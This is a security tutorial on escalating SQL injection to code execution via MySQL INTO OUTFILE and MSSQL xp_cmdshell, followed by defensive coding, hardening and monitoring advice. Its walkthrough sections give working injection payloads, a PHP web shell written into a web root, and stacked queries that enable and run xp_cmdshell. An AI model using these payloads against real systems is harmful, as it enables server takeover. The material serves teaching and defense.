SQL injection is often taught as a “dump the users table” bug, but in real environments the impact can go much further. Under the right conditions, a SQLi flaw can become a path to remote code execution by abusing database features that write files to disk or execute operating system commands. Two classic examples are MySQL’s SELECT ... INTO OUTFILE and Microsoft SQL Server’s xp_cmdshell. This article walks through how that escalation works, what prerequisites make it possible, how attackers think about it, and—most importantly—how defenders shut it down. Everything here is for ethical testing, secure coding, and understanding real-world risk.
Why SQLi Sometimes Becomes RCE
A SQL injection vulnerability gives an attacker control over part of a SQL query. Most developers immediately think about data theft:
- reading user records
- bypassing login checks
- modifying rows
- deleting data
But databases are not just passive storage engines. They often run with powerful privileges and expose features that interact with the filesystem, the network, or even the operating system. If the application and database are misconfigured, an attacker may be able to move from:
- Controlling a query
- Controlling database behavior
- Writing a file or running a command
- Executing code on the server
That is the key escalation path.
Two especially important primitives are:
- MySQL
INTO OUTFILE: writes query results into a file on the database server’s filesystem - MSSQL
xp_cmdshell: executes OS commands from SQL Server
Neither is “magic.” Both require favorable conditions. But if those conditions exist, SQLi stops being “just a database bug” and becomes a server compromise.
Threat Model and Preconditions
Before diving into payloads, it’s worth grounding this in reality. SQLi-to-RCE does not always work. Attackers need a chain of conditions.
Common prerequisites
An attacker typically needs:
- A working SQL injection vulnerability
- Enough control over the query to inject useful SQL
- A database account with dangerous privileges
- Knowledge of the DBMS type and version
- A reachable path from database action to code execution
Environmental conditions that matter
For MySQL INTO OUTFILE:
- The DB user needs the
FILEprivilege - The MySQL server process must be able to write to a target directory
- The target path must be known or guessable
- The target location must be executable by the web server or another component
secure_file_privmust not block writes to the desired path
For MSSQL xp_cmdshell:
xp_cmdshellmust be enabled, or the attacker must be able to enable it- The SQL Server service account or proxy account must have useful OS privileges
- The injection must allow stacked queries or another mechanism to invoke procedures
This is why secure defaults and least privilege matter so much: they break the chain.
Step 1: Identifying the Database and Injection Capability
Before attempting anything advanced, an attacker first fingerprints the backend.
Example: error-based clues
A vulnerable parameter might be probed with payloads like:
'
or:
' ORDER BY 1-- -
Different errors can reveal the DBMS:
- MySQL:
You have an error in your SQL syntax - MSSQL:
Unclosed quotation mark after the character string - PostgreSQL:
syntax error at or near - Oracle:
ORA-
Example: boolean-based checks
For MySQL:
' AND @@version IS NOT NULL-- -
For MSSQL:
' AND @@version IS NOT NULL--
Example: UNION-based discovery
If the original query returns visible output, attackers often test column count:
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
Then try UNION SELECT:
' UNION SELECT NULL,NULL,NULL-- -
Once the DBMS and query shape are understood, the attacker can move toward filesystem or command execution primitives.
MySQL: From SQL Injection to File Write with `INTO OUTFILE`
MySQL supports writing query results directly to a file using SELECT ... INTO OUTFILE.
Basic syntax
SELECT 'hello'
INTO OUTFILE '/tmp/test.txt';
If an attacker can inject a query like this, they may be able to create files on the server.
Why this matters
If the database server and web server are on the same host, and the web root is writable by MySQL, an attacker might write a web shell into a served directory.
Example vulnerable PHP code
<?php
$id = $_GET['id'];
$sql = "SELECT name, description FROM products WHERE id = '$id'";
$result = mysqli_query($conn, $sql);
?>
A malicious input could alter the query if input is not parameterized.
Example payload concept
Suppose the app executes:
SELECT name, description FROM products WHERE id = '$id'
An attacker may try to terminate the original string and inject a UNION or stacked logic depending on context. In MySQL, a direct INTO OUTFILE often works best when the injection allows control of a full SELECT.
For example:
' UNION SELECT "<?php system($_GET['cmd']); ?>", NULL INTO OUTFILE '/var/www/html/shell.php'-- -
This aims to create a PHP web shell.
Resulting file
If successful, the written file would contain:
<?php system($_GET['cmd']); ?>
Then the attacker could access:
http://target/shell.php?cmd=id
Or:
http://target/shell.php?cmd=whoami
Practical constraints
This attack only works if:
/var/www/html/exists on the DB server- MySQL can write there
- The web server serves
.phpfrom that directory - PHP execution is enabled
- The file does not already exist
That last point matters: INTO OUTFILE will generally not overwrite an existing file.
`INTO DUMPFILE`
MySQL also supports INTO DUMPFILE, which writes a single row to a file without formatting. This can be useful when exact byte output matters.
SELECT "<?php phpinfo(); ?>"
INTO DUMPFILE '/var/www/html/info.php';
Enumerating file-write constraints
Attackers often check:
SELECT @@secure_file_priv;
This variable may restrict file operations to a specific directory, for example:
/var/lib/mysql-files/
If so, writing directly to the web root may fail.
Attackers may also check the current DB user:
SELECT CURRENT_USER();
And privileges:
SHOW GRANTS FOR CURRENT_USER();
If the account lacks FILE, INTO OUTFILE should fail.
MySQL Attack Walkthrough
Let’s look at a realistic educational flow.
Vulnerable request
GET /item.php?id=12 HTTP/1.1
Host: target.local
Backend query:
SELECT title, body FROM items WHERE id = '12'
Step 1: confirm injection
GET /item.php?id=12' HTTP/1.1
If this triggers a SQL error, that’s a clue.
Step 2: determine columns
GET /item.php?id=12' ORDER BY 1-- - HTTP/1.1
GET /item.php?id=12' ORDER BY 2-- - HTTP/1.1
GET /item.php?id=12' ORDER BY 3-- - HTTP/1.1
Suppose ORDER BY 3 fails, so there are 2 columns.
Step 3: test `UNION SELECT`
GET /item.php?id=-1' UNION SELECT 'A','B'-- - HTTP/1.1
If A and B appear in the page, output is injectable.
Step 4: gather environment info
GET /item.php?id=-1' UNION SELECT @@version, CURRENT_USER()-- - HTTP/1.1
Step 5: attempt file write
If the account has FILE privilege and path knowledge:
GET /item.php?id=-1' UNION SELECT "<?php system($_GET['cmd']); ?>",NULL INTO OUTFILE '/var/www/html/shell.php'-- - HTTP/1.1
Step 6: trigger code execution
GET /shell.php?cmd=id HTTP/1.1
Host: target.local
Again, this is a lab-style walkthrough. In real hardened environments, one or more prerequisites usually fail.
MSSQL: From SQL Injection to Command Execution with `xp_cmdshell`
On Microsoft SQL Server, one of the most notorious features is xp_cmdshell, an extended stored procedure that allows execution of operating system commands.
Basic syntax
EXEC xp_cmdshell 'whoami';
If enabled and callable, SQL Server will run the command in the OS context of the SQL Server service account or configured proxy.
Why this is powerful
Unlike INTO OUTFILE, which usually needs a second step to achieve execution, xp_cmdshell is already a command execution primitive. If an attacker reaches it through SQLi, they may immediately run system commands.
Example vulnerable code
string id = Request.QueryString["id"];
string sql = "SELECT name, price FROM products WHERE id = '" + id + "'";
Classic string concatenation. If stacked queries are allowed by the driver and query path, an attacker may inject additional statements.
Example payload
'; EXEC xp_cmdshell 'whoami';--
If the application executes that as part of a SQL Server query, the DB may run the OS command.
Stacked query requirement
This usually requires stacked queries, meaning the backend accepts multiple statements separated by semicolons:
SELECT ... WHERE id = ''; EXEC xp_cmdshell 'whoami';--
Not all drivers, frameworks, or query contexts allow this. But where they do, impact can be severe.
Enabling `xp_cmdshell`
Modern SQL Server installations often have xp_cmdshell disabled by default. But if the attacker has enough privilege, they may try to enable it.
Enabling commands
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
Injected as stacked queries:
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;--
Then:
'; EXEC xp_cmdshell 'whoami';--
Caveat
This requires high privileges, typically sysadmin. A low-privileged application login should not be able to do this. If it can, that’s a major configuration failure.
MSSQL Attack Walkthrough
Vulnerable request
GET /product?id=10 HTTP/1.1
Host: target.local
Backend query:
SELECT name, price FROM products WHERE id = '10'
Step 1: confirm SQLi
GET /product?id=10' HTTP/1.1
Step 2: test stacked queries
A common probe is time-based:
GET /product?id=10'; WAITFOR DELAY '0:0:5';-- HTTP/1.1
If the response delays by 5 seconds, stacked execution may be possible.
Step 3: test command execution
GET /product?id=10'; EXEC xp_cmdshell 'whoami';-- HTTP/1.1
If output is not visible, attackers may redirect output to a file or use out-of-band techniques.
Writing command output to a file
EXEC xp_cmdshell 'whoami > C:\Windows\Temp\whoami.txt';
Injected form:
GET /product?id=10'; EXEC xp_cmdshell 'whoami > C:\Windows\Temp\whoami.txt';-- HTTP/1.1
Using PowerShell
If command execution is possible, PowerShell is often available:
EXEC xp_cmdshell 'powershell -c "Get-ChildItem C:\\"';
Or a simpler test:
EXEC xp_cmdshell 'powershell -c "Write-Output owned"';
In ethical testing, stick to harmless proof-of-execution commands like whoami, hostname, or writing a benign marker file.
Comparing the Two Techniques
These two paths are related but different.
`INTO OUTFILE`
- Works on MySQL
- Writes files, does not directly execute commands
- Often used to drop a web shell
- Depends heavily on filesystem path knowledge and write permissions
`xp_cmdshell`
- Works on Microsoft SQL Server
- Directly executes OS commands
- Usually more immediately dangerous
- Depends on feature availability and high DB privileges
A useful mental model:
INTO OUTFILEgives you a filesystem primitivexp_cmdshellgives you a command execution primitive
Real-World Obstacles Attackers Hit
Junior defenders sometimes panic at “SQLi = instant root.” Reality is messier. Here are common blockers.
For MySQL
FILEprivilege is absentsecure_file_privrestricts writes- MySQL and web server are on different hosts
- Web root path is unknown
- MySQL cannot write to web directories
- The app stack does not execute server-side code from uploaded/written files
For MSSQL
xp_cmdshellis disabled- The SQL login lacks
sysadmin - Stacked queries are not allowed
- The SQL Server service account has limited OS rights
- EDR or logging catches suspicious command execution
These controls are exactly why hardening works.
Defensive Engineering: Stop the SQLi First
The best defense is to prevent injection entirely.
Use parameterized queries
PHP with MySQLi
$stmt = $conn->prepare("SELECT name, description FROM products WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
C# with SQL Server
using (var cmd = new SqlCommand("SELECT name, price FROM products WHERE id = @id", conn))
{
cmd.Parameters.AddWithValue("@id", id);
var reader = cmd.ExecuteReader();
}
This prevents attacker input from being interpreted as SQL syntax.
Avoid string concatenation
Bad:
$sql = "SELECT * FROM users WHERE username = '$username'";
Good:
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$username]);
Use allowlists for dynamic identifiers
If you must vary table names, sort columns, or directions, never pass raw user input directly. Use explicit mapping.
const allowedSort = {
name: "name",
price: "price",
created: "created_at"
};
const sortColumn = allowedSort[userInput] || "name";
const sql = `SELECT name, price FROM products ORDER BY ${sortColumn}`;
Defensive Hardening: Reduce Blast Radius
Even if SQLi exists, hardening can prevent escalation to RCE.
MySQL hardening
Remove unnecessary `FILE` privilege
Application accounts should almost never need it.
REVOKE FILE ON *.* FROM 'appuser'@'apphost';
FLUSH PRIVILEGES;
Restrict file operations
Set secure_file_priv to a controlled directory, or disable file import/export where possible.
Example MySQL configuration:
[mysqld]
secure_file_priv=/var/lib/mysql-files
Separate DB and web servers
If MySQL cannot write into a web-served directory because the web server is on another host, the classic web-shell path breaks.
Run MySQL with minimal OS permissions
The database service account should not be able to write arbitrary application directories.
MSSQL hardening
Disable `xp_cmdshell`
If you do not explicitly need it, keep it off.
EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;
Limit SQL Server privileges
The application login should not be sysadmin, db_owner unnecessarily, or hold dangerous server roles.
Run SQL Server service with least privilege
Do not run it under an overly privileged domain or local admin account unless truly required.
Restrict stacked query behavior where applicable
Some frameworks and drivers can be configured to prevent multi-statement execution.
Detection and Monitoring
Even well-defended systems should assume attempts will happen.
Log suspicious SQL patterns
Look for:
UNION SELECTINTO OUTFILEINTO DUMPFILExp_cmdshellsp_configureWAITFOR DELAY
Database auditing
For MySQL, monitor:
- failed file write attempts
SHOW GRANTS- access to
@@secure_file_priv
For SQL Server, monitor:
- execution of
xp_cmdshell - changes to server configuration
- use of
sp_configure - unusual stored procedure invocation by app accounts
Web-layer detection
WAFs can help catch commodity payloads, but they are not a substitute for fixing the code. Treat them as guardrails, not a cure.
Host telemetry
If your SQL Server suddenly spawns cmd.exe or powershell.exe, that should be a high-confidence alert.
Safe Testing Tips for Defenders
If you are validating your own environment or working in a lab:
- Use benign commands like
whoami,hostname, orecho test - Never deploy real web shells on production systems
- Prefer writing harmless marker files in isolated test environments
- Document exact preconditions and controls that prevented exploitation
Good validation examples:
SELECT 'test' INTO OUTFILE '/tmp/marker.txt';
EXEC xp_cmdshell 'whoami';
Only in authorized environments, of course.
Key Takeaways
SQL injection is dangerous not just because it exposes data, but because databases often sit close to powerful system capabilities. MySQL’s INTO OUTFILE can turn a query bug into arbitrary file creation, which may become code execution if a web shell can be planted. SQL Server’s xp_cmdshell can go even further by directly executing operating system commands.
But these escalations are not inevitable. They depend on a chain of bad decisions:
- injectable code
- overprivileged database accounts
- dangerous database features left enabled
- weak OS and service isolation
Break any link in that chain and the attack gets much harder or fails completely.
For developers, the lesson is simple: parameterize queries, stop concatenating SQL, and validate anything that can affect query structure. For security engineers, the follow-up is equally important: remove risky privileges like MySQL FILE, disable xp_cmdshell, enforce least privilege, and monitor for abuse patterns.
That is how you turn a scary exploit chain into a dead end.